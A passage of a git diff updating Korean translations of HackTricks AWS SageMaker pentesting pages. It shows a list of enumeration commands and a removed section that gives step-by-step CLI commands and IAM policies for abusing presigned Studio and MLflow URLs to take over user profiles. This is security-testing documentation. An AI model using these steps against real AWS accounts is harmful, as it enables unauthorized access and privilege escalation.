domain에는 공유 EFS 파일 시스템과 기본 execution role이 있습니다. - **Notebook Instances**: 독립형 노트북을 위한 관리형 EC2 인스턴스; 별도의 execution roles를 사용합니다. -- **Training / Processing / Transform Jobs**: ECR에서 코드를, S3에서 데이터를 가져오는 일시적인 컨테이너입니다. -- **Pipelines & Experiments**: 모든 단계, 입력 및 출력을 기술하는 오케스트레이션된 워크플로우입니다. -- **Models & Endpoints**: HTTPS endpoints를 통해 inference를 제공하기 위해 배포되는 패키지된 아티팩트입니다. -- **Feature Store & Data Wrangler**: 데이터 준비와 feature 관리를 위한 관리형 서비스입니다. -- **Autopilot & JumpStart**: 자동화된 ML과 선별된 모델 카탈로그입니다. -- **MLflow Tracking Servers**: presigned access tokens가 있는 관리형 MLflow UI/API입니다. +- **Training / Processing / Transform Jobs**: ECR에서 코드를, S3에서 데이터를 가져오는 임시 컨테이너. +- **Pipelines & Experiments**: 모든 단계, 입력, 출력 등을 기술하는 오케스트레이션된 워크플로. +- **Models & Endpoints**: HTTPS endpoints를 통해 추론을 위해 배포되는 패키지화된 아티팩트. +- **Feature Store & Data Wrangler**: 데이터 준비와 feature 관리를 위한 관리형 서비스. +- **Autopilot & JumpStart**: 자동화된 ML과 큐레이션된 모델 카탈로그. +- **MLflow Tracking Servers**: presigned access tokens가 있는 관리형 MLflow UI/API. -모든 리소스는 execution role, S3 위치, container images, 및 선택적 VPC/KMS 구성에 대한 참조를 포함하므로 열거(enumeration) 시 모두 캡처해야 합니다. +모든 리소스는 execution role, S3 위치, 컨테이너 이미지, 선택적 VPC/KMS 구성 등을 참조합니다—enumeration 동안 이들 모두를 수집하세요. ## 계정 및 전역 메타데이터 ```bash @@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' - # Generic tag sweep across any SageMaker ARN you know aws sagemaker list-tags --resource-arn --region $REGION ``` -교차 계정 신뢰(실행 역할 또는 외부 프린시플이 있는 S3 버킷) 및 서비스 제어 정책(service control policies) 또는 SCPs와 같은 기본 제한 사항을 기록하세요. +cross-account trust (execution roles or S3 buckets with external principals) 및 service control policies 또는 SCPs와 같은 기본 제한사항을 확인하고 기록하세요. -## Studio Domains, Apps & Shared Spaces +## Studio 도메인, 앱 및 공유 공간 ```bash aws sagemaker list-domains --region $REGION aws sagemaker describe-domain --domain-id --region $REGION @@ -60,27 +60,27 @@ aws sagemaker describe-space --domain-id --space-name --regi aws sagemaker list-studio-lifecycle-configs --region $REGION aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION ``` -What to record: +기록할 항목: - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. - 마운트된 EFS (`HomeEfsFileSystemId`) 및 S3 홈 디렉터리. -- 라이프사이클 스크립트(종종 부트스트랩 자격 증명이나 추가 코드를 push/pull하는 내용 포함). +- Lifecycle scripts (종종 bootstrap 자격증명이나 추가 코드의 push/pull을 포함합니다). > [!TIP] -> Presigned Studio URLs는 광범위하게 부여된 경우 인증을 우회할 수 있습니다. +> Presigned Studio URLs는 광범위하게 부여되면 인증을 우회할 수 있습니다. -## 노트북 인스턴스 및 라이프사이클 구성 +## Notebook Instances & Lifecycle Configs ```bash aws sagemaker list-notebook-instances --region $REGION aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION ``` -Notebook 메타데이터에서 확인되는 내용: +노트북 메타데이터는 다음을 드러냅니다: -- 실행 역할 (`RoleArn`), 직접 인터넷 접근 vs. VPC-only 모드. -- S3 위치: `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. -- 자격 증명이나 영속성 훅을 위한 라이프사이클 스크립트. +- 실행 역할 (`RoleArn`), 직접 인터넷 액세스 여부(또는 VPC 전용 모드). +- `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`에 있는 S3 위치. +- 자격증명 또는 persistence 후크를 위한 라이프사이클 스크립트. ## 학습, 처리, 변환 및 배치 작업 ```bash @@ -93,10 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name --region $REGI aws sagemaker list-transform-jobs --region $REGION aws sagemaker describe-transform-job --transform-job-name --region $REGION ``` -- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 어떤 ECR 이미지가 배포되어 있는지. -- `InputDataConfig` & `OutputDataConfig` – S3 버킷, 접두사 및 KMS 키. -- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 네트워크 또는 암호화 구성 상태를 판단. -- `HyperParameters`는 환경 비밀이나 연결 문자열을 leak할 수 있습니다. +면밀히 검토: + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 어떤 ECR 이미지가 배포되었는지. +- `InputDataConfig` & `OutputDataConfig` – S3 버킷, 프리픽스, 및 KMS 키. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 네트워크 또는 암호화 구성을 판단. +- `HyperParameters` 환경 비밀 또는 연결 문자열을 leak할 수 있음. ## 파이프라인, 실험 및 트라이얼 ```bash @@ -108,7 +110,7 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -파이프라인 정의는 각 단계, 연관된 역할, 컨테이너 이미지 및 환경 변수를 상세히 설명합니다. Trial 구성 요소에는 종종 학습 아티팩트 URIs, S3 로그 및 민감한 데이터 흐름을 암시하는 메트릭이 포함되어 있습니다. +파이프라인 정의는 각 단계, 관련 역할, 컨테이너 이미지 및 환경 변수를 상세히 기술합니다. 실험 구성 요소는 종종 학습 아티팩트 URI, S3 로그 및 민감한 데이터 흐름을 암시하는 메트릭을 포함합니다. ## 모델, 엔드포인트 구성 및 배포된 엔드포인트 ```bash @@ -121,9 +123,11 @@ aws sagemaker describe-endpoint-config --endpoint-config-name --region $RE aws sagemaker list-endpoints --region $REGION aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` -- 모델 아티팩트 S3 URIs (`PrimaryContainer.ModelDataUrl`) 및 추론 컨테이너 이미지. -- 엔드포인트 데이터 캡처 구성 (S3 bucket, KMS) — 가능한 로그 유출 대비. -- S3DataSource 또는 `ModelPackage`를 사용하는 다중 모델 엔드포인트 (계정 간 패키징 확인). +중점 영역: + +- 모델 아티팩트 S3 URI들 (`PrimaryContainer.ModelDataUrl`) 및 추론 컨테이너 이미지. +- 로그 exfil 가능성을 고려한 Endpoint 데이터 캡처 구성 (S3 버킷, KMS). +- S3DataSource 또는 ModelPackage를 사용하는 멀티 모델 엔드포인트 (크로스-계정 패키징 여부 확인). - 엔드포인트에 연결된 네트워크 구성 및 보안 그룹. ## Feature Store, Data Wrangler & Clarify @@ -137,13 +141,13 @@ aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION aws sagemaker list-model-quality-job-definitions --region $REGION aws sagemaker list-model-monitoring-schedule --region $REGION ``` -보안 시사점: +보안 요약: -- Online feature stores는 데이터를 Kinesis로 복제합니다; `OnlineStoreConfig.SecurityConfig.KmsKeyId`와 VPC를 확인하세요. -- Data Wrangler flows는 종종 JDBC/Redshift 자격 증명이나 프라이빗 엔드포인트를 포함합니다. -- Clarify/Model Monitor 작업은 데이터를 S3로 내보내며, 해당 데이터가 공개(모든 사용자에게 읽기 가능)되거나 계정 간 접근이 가능할 수 있습니다. +- Online feature store는 데이터를 Kinesis로 복제합니다; `OnlineStoreConfig.SecurityConfig.KmsKeyId`와 VPC를 확인하세요. +- Data Wrangler flows는 종종 JDBC/Redshift 자격증명 또는 프라이빗 엔드포인트를 포함합니다. +- Clarify/Model Monitor 작업은 데이터를 S3로 내보내며, 해당 데이터가 퍼블릭(읽기 가능)하거나 교차 계정 접근이 가능할 수 있습니다. -## MLflow Tracking Servers, Autopilot & JumpStart +## MLflow 추적 서버, Autopilot & JumpStart ```bash aws sagemaker list-mlflow-tracking-servers --region $REGION aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION @@ -154,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- MLflow tracking servers는 실험과 아티팩트(artefacts)를 저장합니다; presigned URLs는 모든 것을 노출시킬 수 있습니다. -- Autopilot jobs는 여러 training jobs를 실행합니다—숨겨진 데이터를 찾기 위해 outputs를 열거하세요. -- JumpStart reference architectures는 계정에 privileged roles를 배포할 수 있습니다. +- MLflow tracking servers는 실험과 아티팩트를 저장하며, 사전 서명된 URL은 모든 것을 노출시킬 수 있습니다. +- Autopilot 작업은 여러 training jobs를 실행합니다 — 숨겨진 데이터를 찾기 위해 출력물을 열거하세요. +- JumpStart reference architectures는 계정에 권한이 높은 역할을 배포할 수 있습니다. -## IAM & Networking 고려사항 +## IAM 및 네트워킹 고려사항 -- 모든 execution roles(Studio, notebooks, training jobs, pipelines, endpoints)에 연결된 IAM policies를 열거하세요. -- 네트워크 컨텍스트를 확인하세요: subnets, security groups, VPC endpoints. 많은 조직이 training jobs를 격리하지만 outbound traffic 제한을 잊습니다. -- 외부 접근을 위해 `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`에서 참조되는 S3 버킷 정책을 검토하세요. +- 모든 실행 역할(Studio, notebooks, training jobs, pipelines, endpoints)에 연결된 IAM 정책을 나열하세요. +- 네트워크 컨텍스트를 확인하세요: subnets, security groups, VPC endpoints. 많은 조직이 training jobs를 격리하지만 아웃바운드 트래픽 제한을 잊습니다. +- 외부 액세스 관점에서 `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`에서 참조되는 S3 버킷 정책을 검토하세요. ## Privilege Escalation @@ -188,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION ../aws-sagemaker-unauthenticated-enum/README.md {{#endref}} -## 참고 자료 +## 참고자료 - [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) - [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index 49a2c11d5..ee94dfeff 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -1,108 +1,13 @@ -# AWS - SageMaker 무단 접근 +# AWS - SageMaker 무단 액세스 {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) +## SageMaker용 사전 서명된 URL -### 설명 -타겟 Studio `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`을 호출할 수 있는 권한을 가진 주체는 해당 프로필로 직접 인증되는 로그인 URL을 생성할 수 있습니다. 이는 공격자의 브라우저에 프로필의 `ExecutionRole` 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 제공합니다. `iam:PassRole`이나 콘솔 접근은 필요하지 않습니다. +공격자가 SageMaker 리소스에 대한 사전 서명된 URL을 얻는 데 성공하면 추가 인증 없이 해당 리소스에 액세스할 수 있습니다. 권한 및 접근 수준은 리소스에 연결된 역할에 따라 달라집니다: -### 요구사항 -- SageMaker Studio `Domain` 및 그 안의 대상 `UserProfile`. -- 공격자 주체는 대상 `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`(리소스‑레벨) 또는 `*` 권한이 필요합니다. - -최소 권한 정책 예시 (하나의 UserProfile로 범위 지정): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### 악용 단계 - -1) 대상으로 삼을 수 있는 Studio Domain과 UserProfiles를 열거합니다 -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) presigned URL 생성 (기본적으로 약 5분 동안 유효) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내부의 Jupyter 터미널에서 적용된 계정을 확인합니다: -```bash -aws sts get-caller-identity -``` -Notes: -- `--landing-uri`는 생략할 수 있습니다. 일부 값(e.g., `app:JupyterLab:/lab`)은 Studio의 flavor/version에 따라 거부될 수 있으며; 기본값은 일반적으로 Studio 홈으로 리다이렉트한 후 Jupyter로 이동합니다. -- 조직 정책/VPC 엔드포인트 제한으로 인해 네트워크 접근이 여전히 차단될 수 있습니다; 토큰 발급은 콘솔 로그인이나 `iam:PassRole`을 필요로 하지 않습니다. - -### Impact -- 허용된 ARN을 가진 어떤 Studio `UserProfile`라도 가정(assume)함으로써 해당 `ExecutionRole`과 파일시스템/앱을 상속받아 측면 이동(lateral movement) 및 권한 상승(privilege escalation)이 가능합니다. - -### Evidence (from a controlled test) -- 대상 `UserProfile`에 `sagemaker:CreatePresignedDomainUrl`만 있을 때, 공격자 역할은 다음과 같은 `AuthorizedUrl`을 성공적으로 반환했습니다: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- 직접 HTTP 요청은 Studio로 리다이렉트(HTTP 302)로 응답하여 해당 URL이 만료될 때까지 유효하고 활성 상태임을 확인합니다. - - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### 설명 -대상 SageMaker MLflow Tracking Server에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl`를 호출할 수 있는 권한을 가진 주체는 해당 서버의 관리되는 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 발급할 수 있습니다. 이는 콘솔 액세스나 `iam:PassRole` 없이도 합법적인 사용자가 서버에서 가지는 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact 저장소에서 아티팩트 다운로드/업로드)을 부여합니다. - -### 요구 사항 -- 계정/리전 내에 SageMaker MLflow Tracking Server와 해당 서버의 이름이 있어야 합니다. -- 공격자 principal은 대상 MLflow Tracking Server 리소스(또는 `*`)에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 권한이 필요합니다. - -최소 정책 예시(하나의 Tracking Server에만 범위 지정): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### 악용 단계 - -1) 대상으로 삼을 수 있는 MLflow Tracking Servers를 열거하고 하나의 이름을 선택하세요 -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) 사전 서명된 MLflow UI URL 생성 (짧은 시간 동안 유효) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) 반환된 URL을 브라우저에서 열어 해당 Tracking Server의 인증된 사용자로서 MLflow UI에 액세스합니다. - -Notes: -- The Tracking Server must be in a ready state (e.g., `Created/Active`). If it is still `Creating`, the call will be rejected. -- The presigned URL is single‑use and short‑lived; generate a new one when needed. - -### 영향 -- 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있습니다. 이를 통해 서버 구성으로 설정된 S3 artifact store에 저장된 아티팩트를 조회하거나 업로드하고, 실험/런을 조회·수정할 수 있으며, 이는 서버 구성에서 강제하는 권한 범위 내에서 가능합니다. +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}